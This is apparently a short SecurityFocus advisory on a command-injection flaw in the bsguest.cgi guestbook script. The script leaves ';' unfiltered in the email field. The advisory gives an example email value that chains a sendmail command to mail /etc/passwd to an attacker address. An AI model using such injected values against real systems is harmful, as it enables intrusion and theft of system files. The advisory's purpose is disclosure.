14 lines
No EOL
693 B
Text
14 lines
No EOL
693 B
Text
source: https://www.securityfocus.com/bid/2159/info
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An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.
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The script fails to properly filter ';' characters from the user-supplied email address collected by the script.
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As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.
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Attacker enters his email address as <whitehatjoe@hotmail.com>
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'hacker@example.com;/usr/sbin/sendmail hacker@example.com < /etc/passwd',
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server mails a confirmation letter along with the passwd file to the attacker. |